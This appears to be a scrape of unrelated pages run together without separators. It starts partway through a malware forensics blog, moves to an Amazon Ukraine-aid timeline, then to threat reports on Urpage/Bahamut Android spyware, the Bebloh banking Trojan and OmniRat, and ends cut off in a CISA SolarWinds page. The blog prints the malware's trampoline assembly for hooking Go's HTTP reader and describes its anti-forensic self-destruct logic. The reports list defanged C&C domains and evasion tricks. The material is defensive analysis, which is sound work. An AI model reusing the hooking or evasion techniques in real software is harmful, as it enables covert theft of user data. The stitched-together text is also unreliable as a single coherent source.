> /mnt/server/.snapshot/meta/1702` will set an autodestruct time. Reading this file will retrieve the time. The self-destruct command (0x1701) is very interesting - it sends a UDP broadcast on port 41701 with a random payload of size 321 bytes, and then restarts a clean NFS-ganesha. I guess this is some kind of network signaling. It appears the malware has a watchdog that iterates over all `/proc/<pid>/fd/*` links every 25ms, and if a link is open to `/proc/<malware pid>/maps` or `/proc/<malware pid>/smaps` or `/proc/<malware pid>/mem` it: - kills the offending process, - deletes any writable file handle it had opened (before it was killed) in `/proc/<pid>/fd/`, first trying to wipe it, - calls the self-destruct command (0x1701). ## Further forensics Let's go back to that awful Saturday I triggered the self-destruct. Having a faint understanding I triggered something (that being before I reversed the devil) I asked Klaus to disconnect all the network connections to the outer world and we started taking memory dumps of whatever we could, storing them all on the laptop. In hindsight we destroyed quite a bit of evidence by triggering more self-destructs in other subnets, but I think the self-destruct signal has already gone out to the bad guys through a different piece of malware that I later partially recovered, and probably "heard" the UDP distress signal (that's what it was called in the binary, not my naming). After getting all the forensics the client insisted on reconnecting his systems to the web; they were "losing money". I switched from forensics to reversing. In the process, while inspecting the malicious `libfsalvfs.so` I discovered the commands I mentioned above, and discovered a "feature" that helped me fill more pieces of the puzzle. Reversing malware you always find some feeble attempt to obfuscate strings using XOR or RC4, or just scrambling the letter ordering. In this case I pretty quickly found a function I called `get_obfuscated_string(buffer, string_id)`. The difference however, was that this one was just horrendous, practically irreversible: It had like a billion nested switches. Eventually I managed to write code to just brute force the function: ```c #include <stdio.h> #include <stdlib.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <string> #include <set> int main(int argc, char* argv[]) { // error handling code omitted const char* filename = (argc > 1) ? argv[1] : "reconstructed.elf"; unsigned long offset = (argc > 1) ? strtol(argv[2], NULL, 16) : 0x22a0; int fd = open(filename, O_RDONLY); struct stat stbuf; fstat(fd, &stbuf); const char* addr = (char*)mmap(NULL, stbuf.st_size, PROT_READ | PROT_EXEC, MAP_PRIVATE, fd, 0); close(fd); const char* base = addr + offset; typedef int (*entry_t)(char* outbuf, int id); entry_t entry = (entry_t)base; std::set<std::string> found; char buffer[1024]; for(long bits = 1; bits < 64; ++bits) { bool any_new = false; for(long id = (bits == 1) ? 0 : (1 << (bits - 1)); id < (1 << bits); ++id) { int status = entry(buffer, id); if(status == 0) continue; if(found.find(buffer) != found.end()) continue; found.insert(buffer); printf("Got '%s'! [0x%x]\n", buffer, id); any_new = true; } if(!any_new) break; } return 0; } ``` This first binary had the following strings (I am keeping 3 to myself as they have client-related info): ``` '/proc/self/mem', '/proc/self/maps', '/proc/self/cwd', '/proc/self/environ', '/proc/self/fd/%d', '/proc/self/fdinfo/%d', '/proc/self/limits', '/proc/self/cgroup', '/proc/self/exe', '/proc/self/cmdline', '/proc/self/mounts', '/proc/self/smaps', '/proc/self/stat', '/proc/%d/mem', '/proc/%d/maps', '/proc/%d/cwd', '/proc/%d/environ', '/proc/%d/fd/%d', '/proc/%d/fdinfo/%d', '/proc/%d/limits', '/proc/%d/cgroup', '/proc/%d/exe', '/proc/%d/cmdline', '/proc/%d/mounts', '/proc/%d/smaps', '/proc/%d/stat', 'nfs', 'nfs4', 'tmpfs', 'devtmpfs', 'procfs', 'sysfs', 'WSL2', '/etc/os-release', '/etc/passwd', '/etc/lsb-release', '/etc/debian_version', '/etc/redhat-release', '/home/%s/.ssh', '/var/log/wtmp', '/var/log/syslog', '/var/log/auth.log', '/var/log/cron.log', '/var/log/syslog.log', '/etc/netplan/*.yaml', '/etc/yp.conf', '/var/yp/binding/', '/etc/krb5.conf', '/var/kerberos/krb5kdc/kdc.conf', '/var/log/ganesha.log', '/etc/ganesha/ganesha.conf', '/etc/ganesha/exports', '/etc/exports', 'Error: init failed', 'DELL', '/usr/lib/x86_64-linux-gnu/libnfs.so.4', '/tmp/.Test-unix/.fa76c5adb8c04239ff3034106842773b', 'Error: config missing', 'Error: sysdep missing', 'Running', 'LOG', '/usr/lib/x86_64-linux-gnu/ganesha/libfsalvfs.so', 'none', '/etc/sudoers', '/proc/net/tcp', '/proc/net/udp', '/etc/selinux/config', 'libdl.so.2', 'libc-', '.so', 'cluster-config', 'recovery-signal', ``` ## Eureka Moment Staring endlessly at this weird function I thought to myself: maybe I can look for code that is structured like this in all the dumps we obtained. We have all those blocks of `mov byte ptr [rdi+?], '?'`: ```python import sys with open(sys.argv[1], 'rb') as f: data = f.read() STATE=None for i in range(len(data) - 6): if ord(data[i]) == 0xc6 and ord(data[i + 1]) == 0x47: if STATE and (STATE[0] + STATE[1] + 0x40) >= i: STATE[1] = i - STATE[0] STATE[2] += 1 else: if STATE and STATE[2] >= 20: print('Found region at 0x%x - 0x%x' % (STATE[0], STATE[0] + STATE[1])) STATE = [i, 4, 1] ``` And I found them. Oh I did. Some adjustment even led to a version for ARM systems. ## The GOlang thingy I finally found the payload that was sent over to the GW machines. It had 2 stages: the first was the 8192 buffer loaded through the first covert channel. The kernel was modified to inject this buffer into the GOlang application and hook it. This will get fairly technical, but I enjoyed it and so will you: First note that in the Golang stdlib an HTTP connection can be read through the `net/http.(connReader).Read` function. The calls are made through an `io.Reader` interface, so the calls are made through a virtual table, and the call locations cannot be statically identified. The kernel inject begins by allocating a bunch of RWX memory immediately after the GOlang binary - let's call it the trampoline area, and it will include two types of generated trampoline functions. Next, the ELF symbol table was used to find the 'net/http.(*connReader).Read' symbol. What we’ll call the 1st trampoline function (code below) is copied to the trampoline area, patching the area marked with `HERE` with the first 9 bytes of `net/http.(*connReader).Read`. ```c mprotect(net_http_connReader_read & ~0xfff, 8192, PROT_EXEC | PROT_READ | PROT_WRITE) ``` Modified the beginning of `net/http.(*connReader).Read` to a near jump into the trampoline - using 5 bytes of the 9 original used by 'move rcx, fs:….' that are the preamble to function. ### First trampoline function ```c pop rax pop rcx push rcx push rax mov r11, cs:qword_<relocated> mov rdi, rcx call qword ptr [r11+8] pop rax pop rcx push rcx mov rcx, fs:0FFFFFFFFFFFFFFF8h <---- HERE cmp rsp, [rcx+10h] jmp rax ``` When the trampoline is called (from the new near jump in the beginning of `net/http.(*connReader).Read`) it examines the stack to locate the return address, and checks if a second type of trampoline we'll refer to as the return trampoline has already been allocated for the return address for the function. If not it allocates a new trampoline per call location of `net/http.(*connReader).Read` from the code below, replacing 123456789ABCDEFh with the absolute address of a function in the malware. ```c GOlang uses memory for all function argument passing, so immediately after the virtual function call to `Read()` there will always be a 5 byte `mov reg, [rsp+?]` to load `Read()`'s result into a register. This `mov` instruction is copied into the first `db 5 dup(0)` area, those same 5 bytes are then replaced with a near jump to the 2nd trampoline, the 2nd `db 5 dup(0)` are filled with a relative near `jmp` back to the original code patch site. ``` This way eventually all the `net/http.(*connReader).Read` call sites are patched to call a function immediately after `net/http.(*connReader).Read` virtual call returns. This lets the malicious code inspect the decoded HTTP packet. On initialization, the 1st stage malware also loads the hefty 2nd stage through the 2nd covert channel, and passes each buffer received from the patch on `net/http.(*connReader).Read` to it for inspection. The data collected is collected and compressed by the malware and stored back to the NFS server (the 2nd covert channel which bypasses read ACLs on NFS). Before this case, I did not think there was any nice way to hook random GO binaries; this technique is pretty cool. Unfortunately, I cannot discuss what the 2nd payload actually is as it will reveal stuff my employer isn't ready for yet. ## How the kernel got patched? and why not the golang app? The golang app is built inside the CI/CD network segment. This segment can only be accessed through monitored jump hosts with MFA. Each day, the CI/CD pipeline clones the source code from the GIT server, builds it, and automatically tests it in a pre-production segment. Once tested it gets digitally signed and uploaded to the NFS server. The running app self-updates, checking the digital signature beforehand. The kernel, on the other hand, is manually built by the guy responsible for it on his own laptop. He then digitally signs it and stores it on a server where it is used by the CI/CD pipeline. Fortunately for us, a commented-out line in a script in the CI/CD pipeline (a line that was not commented out in the GIT!) did not delete old versions of the kernel and we know which versions were tampered with. We noticed a 3-month gap about 5 months ago, and it corresponded with the guy moving the kernel build from a Linux laptop to a new Windows laptop with a VirtualBox VM in it for compiling the kernel. ## What we have so far We found a bunch of malware sitting in the network collecting PII information from incoming HTTPS connections after they are decoded in a GOlang app. The data is exfiltrated through the malware network and eventually is sent to the bad guys. We have more info but I am still working on it; expect another blog post in the future with more details, samples, etc. ## Q&A **Q: What was the initial access vector?** A: We have a pretty good idea, but I cannot publish it yet (RD and stuff). Stay tuned! **Q: Why didn't you upload anything to VT yet?** A: A few reasons: - I need to make sure no client info is in the binaries - some of the binaries have hardcoded strings that cannot be shared. - All of the binaries I have have been reconstructed from memory dumps, so are not in their original form. Does anyone know how to upload partial dumps into VT? **Q: Is there a security vulnerability in GO? in the Kernel?** A: Definitely not! This is just an obnoxious attacker doing what obnoxious attackers do. I might even say the complexity of the stuff means they don’t have a 0day for this platform. **Q: What about YARA rules, C2 address, etc?** A: Wait for it; there is a lot more coming! **Q: Why did you publish instead of collecting more?** A: To quote the client "I don't care who else they are attacking. I just want them off my lawn!", and he thinks publishing will prevent them from returning to THIS network. Hopefully what we publish next time will get them off other people’s lawns. **Q: Any Windows malware?** A: Definitely, including what we believe is an EDR bypass. Still working on it. **Q: Any zero days?** A: Maybe… **Q: Who are these bad guys you keep referring to?** A: No clue. Didn’t find anything similar published. There is no sure way to make anything except unsubstantiated guesses, and I won’t do that. To be continued.
# Amazon's Assistance in Ukraine **March 1, 2022** **How Amazon employees helped a peer’s family escape the war in Ukraine** Daria Sokol shares her parents’ harrowing story of fleeing the war and the way colleagues around the globe supported them with meals, lodging, and kindness. **AWS-powered app helps healthcare workers track medical supplies in Ukraine** The Ukrainian Ministry of Health and Ukraine public health agencies sought a centralized tool that would help doctors, nurses, and other healthcare workers request and track incoming supplies and monitor capacity at nearby hospitals, to better treat the wounded. With support from Amazon Web Services, XCH—a provider of situational awareness and incident management software tools to support health care providers in times of crisis—launched the Ukrainian Humanitarian Aid and Assistance System (UHAAS) to facilitate the communications required to provide emergency responders with real-time data for supply management. **April 22** Amazon continues donating to help Ukrainian refugees. The company’s donations now total over $35 million including financial support, products, and cloud computing credits. **April 18** Amazon joins Welcome.US CEO Council. Amazon CEO Andy Jassy joins 35 senior executives from other companies to launch a new effort to support resettlement, upskilling, and hiring of refugees coming to the U.S. **April 14** Amazon donates more than 30,000 medical supplies to hospitals in Ukraine. The Amazon U.S. disaster relief hub in Atlanta, Georgia is partnering with a medical non-governmental organization to send supplies to doctors and nurses on the front lines. **April 11** Digital Ukrainian artifacts saved by cultural heritage professionals using AWS. AWS supports grassroots organization Saving Ukrainian Cultural Heritage Online to replicate and securely store Ukraine’s digital content focused on culture and history. **April 8** Amazon offers free legal resources to help Ukrainian refugees. Amazon attorneys are leading a pro bono humanitarian initiative to develop free legal guidebooks for refugees seeking resettlement in Europe. **March 31** Amazon opens second humanitarian aid hub in Poland. New humanitarian hub in Poland to help Ukrainian refugees, along with the previously opened hub in Slovakia. **March 28** AWS contributes technology resources to support humanitarian relief. Over the past month, nonprofit, government, and commercial customers have requested assistance in accelerating important humanitarian efforts that are helping millions of refugees and people within Ukraine and surrounding countries. **March 24** Amazon launches employment support program for refugees. Amazon has launched Welcome Door, a new program to provide refugees employed by the company with additional resources and support—including free legal assistance on their path to citizenship. Ukrainian refugees hired by Amazon will have access to this new initiative, which will be available in the U.S next month and expand globally by the end of this year. **March 22** Amazon launches humanitarian aid hub in Slovakia. Built in just 10 days, Amazon’s new humanitarian hub will help relief organizations provide faster support to Ukrainian refugees. **Amazon signs The Tent Partnership for Refugees** More than 3 million people have been forced to leave their homes in Ukraine. We are proud to support immediate and longer-term needs of Ukrainians through the Tent Partnership. **March 8** Updates to Amazon’s retail, entertainment, and AWS businesses. Amazon has suspended shipment of retail products to customers based in Russia and Belarus and will no longer provide customers with access to Prime Video in Russia. **March 4** Amazon’s cybersecurity assistance for Ukraine. AWS has been working closely with Ukrainian customers and partners to keep their applications secure. Teams of Account Managers, Security Specialists, Solutions Architects, and other technical professionals are working around the clock to help customers and partners at this critical time. **February 28** Amazon is working with NGOs and employees to offer immediate support to the people of Ukraine. Amazon is donating $5 million to organizations that are providing critical support on the ground in Ukraine and matching up to $5 million in additional donations from employees.
# Bahamut, Confucius and Patchwork Connected to Urpage **APT & Targeted Attacks** We dig deeper into the possible connection between cyberattacks by focusing on the similarities an unnamed threat actor shares with Confucius, Patchwork, and Bahamut. For the sake of this report, we will call this unnamed threat actor “Urpage.” In the process of monitoring changes in the threat landscape, we get a clearer insight into the way threat actors work behind the schemes. In this case, we dig deeper into the possible connection between cyberattacks by focusing on the similarities an unnamed threat actor shares with Confucius, Patchwork, and another threat actor called Bahamut. What sets Urpage attacks apart is its targeting of InPage, a word processor for Urdu and Arabic languages. However, its Delphi backdoor component, which it has in common with Confucius and Patchwork, and its apparent use of Bahamut-like malware, is what makes it more intriguing as it connects Urpage to these other known threats. **The Bahamut Link** The link between Bahamut and Urpage can be best discussed by way of the multiple malicious Android samples that matched Bahamut's code and had C&C belonging to the Urpage infrastructure. Some of these C&C websites also act as phishing sites that lure users into downloading these very applications. The threat actor sets up these fake websites describing the application and linking to the Google Play Store to download it, like in the case of the malicious website, pikrpro[.]eu. Another sample website involved the use of a closely copied version of an existing website, with slight changes in the logo and options above the page. The download links were also replaced to download the malicious Android application instead. Upon writing this entry, we’ve coordinated with Google to ensure that the malicious applications these C&C sites advertise are no longer available for download on the Google Play Store. It is important to note, however, that not all C&C websites for Urpage advertise malicious applications. Some simply contain a random template with empty categories, likely as a ploy to hide its malicious activities. **Android Targeting** As with Bahamut applications, once downloaded and executed, it showed multiple malicious features that deal with stealing information. Some of these features are listed below: - Retrieves basic information like network information and MAC address from an infected phone - SMS stealing - Contacts stealing - Audio recording - GPS location retrieval - Steals files with specific extensions, although not all samples target these extensions. **File Type and Extensions** - **Document files:** .txt, .csv, .doc, .docx, .xls, .xlsx, .pdf - **WhatsApp databases:** .db.crypt5 to .db.crypt12 - **Geolocation related files:** .kml, .kmz, .gmx, .aqm - **Audio files:** .mp3, .opus - **Videos:** .mp4, .amr, .wmv, .3gp - **Pictures:** .jpeg, .jpg Of note is one specific application that had a different purpose from the others. This application has the same encryption routine as other Urpage applications. Instead of stealing documents or images, it works on top of a modified version of the legitimate Threema, an end-to-end encrypted messaging application, to steal screenshots of messages. This application has the same icon and label as the legitimate Threema. Once launched, it drops a modified APK version of Threema and prompts the user to install the application. The malicious application then hides its icon on the device but still runs in the background, while the modified Threema works like normal. Unknown to the user, the code in the modified Threema allows it to take screenshots of itself every 10 seconds. These images are stored in the location `/sdcard/Android/data/ch.threema.app/DataData` directory, while the “dropper” or the malicious application working in the background uploads the images to the C&C for the threat actor to access. **Other Activities** Aside from acting as a C&C and distributing Bahamut-like malware, some of these websites also serve as the host for other malicious documents. These other activities further establish the link of Urpage — and consequently Bahamut — to other threat actors. Take, for example, the previously mentioned pikrpro[.]eu. This C&C website also acts as host not only for the malicious Android application but also for two other malicious documents: - A malicious RTF file that exploits the CVE-2017-8750 and drops a malicious VB backdoor with C&C appswonder[.]info - A malicious InPage file that exploits CVE-2017-12824 and drops two files, one non-malicious, and one malicious VB backdoor with C&C referfile[.]com Talos recently reported both C&C domain names with one type of campaign that targets iOS and involves MDM, and another type using VB and Delphi backdoors. This leads us back to the Confucius and Patchwork link. **The Confucius Link** In our previous entry, we already discussed how Confucius used the same Delphi file stealer as Urpage. Digging into Urpage, we found another link—two malicious RTF files that exploit different vulnerabilities but download a similar script (detected as TROJ_POWLOAD.GAA) containing two base64-encoded URLs. One of the URLs is for the decoy document, while the other one is for the payload. One of the RTF files was found in a server related to Confucius (f1a54dca2fdfe59ec3f537148460364fb5d046c9b4e7db5fc819a9732ae0e063, detected as TROJ_CVE201711882.AG), while the other one (434d34c0502910c562f5c6840694737a2c82a8c44004fa58c7c457b08aac17bd, detected as Mal_CVE20170199-2) downloaded a VB Backdoor that pings back to twitck[.]com, a domain name belonging to Urpage. **The Patchwork Link** Patchwork also uses the Delphi file stealer as a similarity with Urpage, which suggests the three groups are somehow related. But this link is further fortified by the Android applications we found whose code is like that of Bahamut, with the C&C matching the usual name registration pattern of Patchwork’s group, as well as an infrastructure close to an old Patchwork domain. Of note was how the C&C was not encrypted in the application code, despite the fact that it contained the same encryption routines as other samples. Patchwork has also recently employed Android malware in its attacks, with its use of a customized version of AndroRAT. **Summary** The many similarities and connections show that threat actors do not work in isolation, and that attacks do not necessarily appear from out of nowhere. This may even suggest that a single development team may be behind this attack — maybe a single paid group that has sold its tools and services to other groups with different goals and targets. **Targets** We did not find Urpage victims in our telemetry, likely because of the targeted nature of these attacks. However, the domains used by Urpage provided hints about its target. For one, there is the domain pikrpro[.]eu and its subdomains—the islamicfinderfeedback[.]pikrpro[.]eu and the memrifilesforinfo[.]pikpro[.]eu. The two pose as legitimate groups and websites that provide services to Islam followers and users from the Middle East. Additionally, many of the files related to the Urpage domains are auto-extractable files that drop Delphi or VB backdoor and open a decoy document. The decoy documents tell more about Urpage's possible targets, as it contains text from articles about the region of Kashmir. The documents can also be image files with the same theme. Multiple Android applications further drive this notion, as they provide services based on the interests of users in that region. They have a malicious application that provides services for religion, as well as popular sports in the region. **Solutions and Mitigation** Taking note of these similarities and connections can help organizations and users in their continued defense against Urpage, Bahamut, Confucius, and Patchwork. The connection of Urpage to the other three threat actors demonstrates that cyberattacks don’t exist in silos and that it hints at a circulation of knowledge and technologies that help in the continuing evolution of different malicious campaigns. Given this knowledge, organizations must be more vigilant in monitoring threats, as changes in one may mean that changes in others could follow. Organizations can develop defenses against the social engineering component these four threat actors have in common. Users should be able to identify the indicators of a social engineering campaign. Paying close attention to the domain name of a website before performing any further action can also help mitigate threats, including threats like Urpage that have targeted victims. As an additional defense against the growing use of malicious mobile applications, enterprises and end users can benefit from multilayered mobile security solutions such as Trend Micro™ Mobile Security for Android™. Trend Micro’s Mobile App Reputation Service (MARS) covers Android and iOS threats using leading sandbox and machine learning technologies. It can protect users against malware, zero-day and known exploits, privacy leaks, and application vulnerability. For organizations, Trend Micro™ Mobile Security for Enterprise provides device, compliance and application management, data protection, and configuration provisioning. It also protects devices from attacks that leverage vulnerabilities, preventing unauthorized access to apps, as well as detecting and blocking malware and fraudulent websites. The Trend Micro™ Deep Discovery™ threat protection platform enables organizations to detect, analyze, and respond to modern threats such as sophisticated malware, targeted attacks, and APTs. Trend Micro™ Smart Protection for Endpoints with Maximum XGen™ security infuses high-fidelity machine learning into a blend of threat protection techniques to eliminate security gaps across user activity and any endpoint, offering the broadest possible protection against advanced attacks.
# Bebloh – A Well-Known Banking Trojan with Noteworthy Innovations The banking Trojan Bebloh has been known about and studied for a number of years. But even new developments in the malware have not produced any notable innovations – until recently. The observed infection rates with Bebloh in the first half of 2013 were comparatively small – with a share of just 6.3% among all banking Trojans observed by G Data, Bebloh was lagging far behind competitors such as ZeuS. However, an update appeared recently that contains noteworthy changes. ## Large Increase in Infection Count Following Update In recent months, we started seeing alarming new figures: Bebloh started steadily climbing up the statistics ladder and secured a place for itself among the top three banking Trojans in November. Recently, the malware was distributed as an email attachment, as spam containing fake flight information. Taken everything into consideration, this was more than reason enough to look into what was going on. An initial comparison between a newer example and the familiar version shows that Bebloh has clearly undergone an update. Only about 75% of the functions in the two versions are the same. Almost 4.5% of the functions in the old version have been deleted or replaced. 20.9% of the functions are exclusively found in the new version. The functional scope has therefore been significantly enhanced. ## Malware Undergoing Change: AV Evasion The interesting innovation in this variant concerns the persistence, or the issue of: how does the malware survive a restart? As soon as the system is infected by Bebloh, the malware is injected into explorer.exe and the original executable file that contains Bebloh is deleted. In principle, this is a perfectly normal procedure for concealing the malware's entry point into the system. However, what is interesting is the fact that the malware is not then moved to another folder and no autostart entry is generated. The malware is no longer found on the hard disk. Therefore, a conventional signature-based virus scanner would fail to find any infection by scanning the hard disk. As the malware is running hidden in the explorer.exe memory, not even a malicious process is detected. However, to survive a system restart, Bebloh uses an interesting trick. An invisible window is generated from the explorer.exe process to receive the “Window Messages,” a specific message type generated by Windows. This means that windows concerning an impending computer shutdown are also issued by Windows. As soon as Bebloh receives such a message, the malware writes its executable file out of the explorer.exe memory to the hard disk, and an autostart pointing to the executable is generated. Hence throughout the time the system is running, there is virtually no visible clue in the registry or on the hard disk that suggests an infection. To exacerbate the cat-and-mouse game between AV providers and Bebloh even more, the autostart entry doesn't directly reference the executable file – it relies on a link (.lnk). In addition, the file name used by Bebloh is generated randomly each time, so Bebloh has a different name each time the system is started. ## Outlook The above-mentioned comparison of the program code for the two versions studied proves the hypothesis that Bebloh has not changed much in its basic function as a banking Trojan and still tries to spy on user data. However, the AV evasion updates are something new in the banking Trojan arena, demonstrating that malware authors are continuing to find new ways to prey on their victims even more silently and effectively. G Data detects the new variant as Trojan.GenericKD.1367361 using the DoubleScan technology. G Data BankGuard also detects and removes the new variant of this malware. **Older Bebloh version, SHA256:** 01af2a82eddbfc4dc4720c8e8a483ff91d3b12df792928a435d1fc618055db46 **Newer Bebloh version, SHA256:** d4f6a12ffe35a8b39e047d35bedb2860e622580df8d66c68abaad4c8d8162c6a
# DroidJack isn’t the only spying software out there: Avast discovers OmniRat **Nikolaos Chrysaidos** 5 Nov 2015 OmniRat is currently being used and spread by criminals to gain full remote control of devices. ## There’s more than one RAT On Friday, I discovered OmniRat, a program similar to DroidJack. DroidJack is a program that facilitates remote spying and recently made news when European law enforcement agencies made arrests and raided the homes of suspects as part of an international malware investigation. OmniRat and DroidJack are RATs (remote administration tools) that allow you to gain remote administrative control of any Android device. OmniRat can also give you remote control of any Windows, Linux, or Mac device. Remote administrative control means that once the software is installed on the target device, you have full remote control of the device. On their website, OmniRat lists all of the things you can do once you have control of an Android, which include: retrieving detailed information about services and processes running on the device, viewing and deleting browsing history, making calls or sending SMS to any number, recording audio, executing commands on the device, and more. Like DroidJack, OmniRat can be purchased online, but compared to DroidJack, it’s a bargain. Whereas DroidJack costs $210, OmniRat costs only $25 to $50 depending on which device you want to control. You may be asking yourself, “Why is software like this being sold on the Internet?” According to DroidJack’s creator, Sanjeevi, “Droidjack is a parental tool for Android remote administration,” but Europol has made it very clear that using software like DroidJack for malicious purposes can have major consequences. In an investigation supported by Europol and Eurojust, law enforcement agencies in Europe and the U.S. arrested users of DroidJack. ## OmniRat variant in the wild A custom version of OmniRat is currently being spread via social engineering. A user on a German tech forum, Techboard-online, describes how a RAT was spread to his Android device via SMS. After researching the incident, I have come to the conclusion that a variant of OmniRat is being used. The author of the post received an SMS stating an MMS from someone was sent to him (in the example, a German phone number is listed and the SMS was written in German). The SMS goes on to say, “This MMS cannot be directly sent to you, due to the Android vulnerability StageFright. Access the MMS within 3 days with your telephone number and enter the PIN code.” Once the link is opened, a site loads where you are asked to enter the code from the SMS along with your phone number. Once you enter your number and code, an APK, mms-einst8923, is downloaded onto the Android device. The mms-einst8923.apk, once installed, loads a message onto the phone saying that the MMS settings have been successfully modified and loads an icon, labeled “MMS Retrieve” onto the phone. Once the icon is opened by the victim, mms-einst8923.apk extracts OmniRat, which is encoded within the mms-einst8923.apk. In the example described on Techboard-online, a customized version of OmniRat is extracted. The OmniRat APK requires users to accept and give OmniRat access to many permissions, including edit text messages, read call logs and contacts, modify or delete the contents of the SD card. All of these permissions may seem evasive, and you may be thinking, “Why would anyone give an app so much access?” but many of the trusted and most downloaded apps on the Google Play Store request many of the same permissions. The key difference is the source of the apps. I always recommend that users read app permissions carefully. However, when an app you are downloading directly from the Google Play Store requests permissions, it is rather unlikely the app is malicious. I therefore advise you only download apps directly from the Google Play Store. If, like this in case, the app is downloaded from an untrusted source, users should be highly suspicious of the permissions being requested. Once installed, OmniRat gives full remote administrative control of the device to the attacker. Even if the victim deletes the original “MMS Retrieve” icon installed with the mms-einst8923, OmniRat remains on the infected device. The victim then has no idea their device is being controlled by someone else and that every move they make on the device is being recorded and sent back to a foreign server. Furthermore, once cybercriminals have control over a device’s contact list, they can easily spread the malware to more people. Inside this variant of OmniRat, there is a function to send multiple SMS messages. What makes this especially dangerous is that the SMS spread via OmniRat from the infected device will appear to be from a known and trusted contact of the recipients, making them more likely to follow the link and infect their own device. We know that the data collected by the customized version of OmniRat targeting the German person from the Techboard-online forum post is being sent back to a Russian domain, based on the command and control (C&C) server address the data is being sent to. The “.ru” server address tells us the data is being sent back to a Russian domain. The left image above was taken from OmniRat’s Website and shows the audio data that is being extracted from the victim’s device. The right image is of the custom version of OmniRat and shows the similarity of the data (and the order) that it is being gathered in and sent back to a Russian domain. In the image above, we can see all the dex classes of the second APK file that gather various information about the device and sends it back to the server. ## How to protect yourself - Make sure you have an antivirus solution installed on your smartphone to detect malware, like OmniRat. Avast detects OmniRat as Android:OmniRat-A [Trj]. - Do not open any links from untrusted sources. If an unknown number or email address sends you a link, do not open the link. - Do not download apps from unknown sources to your mobile device. Only download apps from trusted sources such as the Google Play Store or the Apple App Store.
# Supply Chain Compromise CISA is tracking a significant cyber incident impacting enterprise networks across federal, state, and local governments, as well as critical infrastructure entities and other private sector organizations. An advanced persistent threat (APT) actor is responsible for compromising the SolarWinds Orion software supply chain, as well as widespread abuse of commonly used authentication mechanisms. This threat actor has the resources, patience, and expertise to gain access to and privileges over highly sensitive information if left unchecked. CISA urges organizations to prioritize measures to identify and address this threat. Pursuant to Presidential Policy Directive (PPD) 41, CISA, the Federal Bureau of Investigation (FBI), and the Office of the Director of National Intelligence (ODNI) have formed a Cyber Unified Coordination Group (UCG) to coordinate a whole-of-government response to this significant cyber incident. CISA also remains in regular contact with public and private sector stakeholders and international partners, providing technical assistance upon request, and making information and resources available to help those affected to recover quickly from incidents related to this campaign. CISA encourages individuals and organizations to refer to the resources below for additional information on this compromise. These resources provide information to help organizations detect and prevent this activity. CISA released the CISA Hunt and Incident Response Program (CHIRP), a forensics collection capability outlined in Activity Alert AA21-077A and available on CISA’s CHIRP GitHub repository. This capability was developed to assist network defenders with detecting advanced persistent threat (APT) activity related to the SolarWinds and Active Directory/M365 compromise. The initial release of CHIRP scans for signs of APT compromise within an on-premises environment to detect indicators of compromise (IOCs) associated with CISA Alerts AA20-352A and AA21-008A. ## Emergency Directive and Updates ### CISA Updates Supplemental Guidance on Emergency Directive 21-01 On January 6, 2021, CISA released supplemental guidance v3 that requires (1) agencies that ran affected versions conduct forensic analysis, (2) agencies that accept the risk of running SolarWinds Orion comply with certain hardening requirements, and (3) reporting by agency from department-level Chief Information Officers (CIOs) by Tuesday, January 19, and Monday, January 25, 2020. On December 30, 2020, CISA released guidance to supplement the Emergency Directive (ED) 21-01 and Supplemental Guidance v1 issued on December 18, 2020. Specifically, all federal agencies operating versions of the SolarWinds Orion platform other than those identified as “affected versions” are required to use at least SolarWinds Orion Platform version 2020.2.1HF2. On December 18, 2020, CISA’s supplemental release provides additional guidance on the implementation of ED 21-01, to include an update on affected versions, guidance for agencies using third-party service providers, and additional clarity on required actions. On December 13, 2020, CISA determined that this exploitation of SolarWinds products poses an unacceptable risk to Federal Civilian Executive Branch agencies and requires emergency action. Multiple versions of SolarWinds Orion are currently being exploited by malicious actors. This tactic permits an attacker to gain access to network traffic management systems. Disconnecting affected devices, as described in Required Action 2 of the ED, is the only known mitigation measure currently available. ## Press Releases ### Joint Statement by the Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), the Office of the Director of National Intelligence (ODNI), and the National Security Agency (NSA) On behalf of President Trump, the National Security Council staff has stood up a task force construct known as the Cyber Unified Coordination Group (UCG), composed of the FBI, CISA, and ODNI with support from NSA, to coordinate the investigation and remediation of this significant cyber incident involving federal government networks. The UCG is still working to understand the scope of the incident but has the following updates on its investigative and mitigation efforts. ### Joint Statement by the Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), and the Office of the Director of National Intelligence (ODNI) This Joint Statement announces the establishment of a Cyber Unified Coordination Group (UCG). Pursuant to Presidential Policy Directive (PPD) 41, FBI, CISA, and ODNI have formed a UCG to coordinate a whole-of-government response to this significant cyber incident. The UCG is intended to unify the individual efforts of these agencies as they focus on their separate responsibilities. ### CISA Press Release: CISA Issues Emergency Directive to Mitigate the Compromise of SolarWinds Orion Network Management Products This press release announces the CISA Emergency Directive 21-01 in response to the known compromise involving SolarWinds Orion products. The ED calls on federal civilian agencies to review their networks for IOCs and disconnect or power down SolarWinds Orion Products immediately. This is the fifth Emergency Directive issued by CISA under the authorities granted by Congress in the Cybersecurity Act of 2015. ## Alerts and Guidance CISA, alongside the United Kingdom’s National Cyber Security Centre, FBI, and NSA published an advisory to provide further details of tactics, techniques, and procedures (TTPs) associated with SVR cyber actors. CISA has also released Fact Sheet: Russian SVR Activities Related to SolarWinds Compromise that provides summaries of three key joint publications that focus on SVR activities related to the SolarWinds Orion supply chain compromise. Malware Analysis Report (AR21-105A) was published April 15. This report provides detailed analysis of several malicious samples and artifacts associated with the supply chain compromise of SolarWinds Orion network management software, attributed by the U.S. Government to the Russian SVR Foreign Intelligence Service (APT 29, Cozy Bear, The Dukes). CISA and CNMF are distributing this MAR to enable network defense and reduce exposure to malicious activity. This MAR includes suggested response actions and recommended mitigation techniques. On April 15, the United States formally named the Russian Foreign Intelligence Service (SVR) as the perpetrator of the broad-scope cyber espionage campaign that exploited the SolarWinds Orion platform and other information technology infrastructures. Additional information may be found in a fact sheet from the White House. CISA, the National Security Agency (NSA), and the Federal Bureau of Investigation (FBI) have released a Joint Cybersecurity Advisory (CSA) on Russian Foreign Intelligence Service (SVR) actors scanning for and exploiting vulnerabilities to compromise U.S. and allied networks, including national security and government-related systems. CISA released the CISA Hunt and Incident Response Program (CHIRP), a forensics collection capability outlined in Activity Alert AA21-077A and available on CISA’s CHIRP GitHub repository. CISA has published a table of tactics, techniques, and procedures (TTPs) used by the advanced persistent threat (APT) actor involved with the recent SolarWinds Orion supply chain compromise. The table uses the MITRE ATT&CK framework to identify APT TTPs and includes detection recommendations. This information will assist network 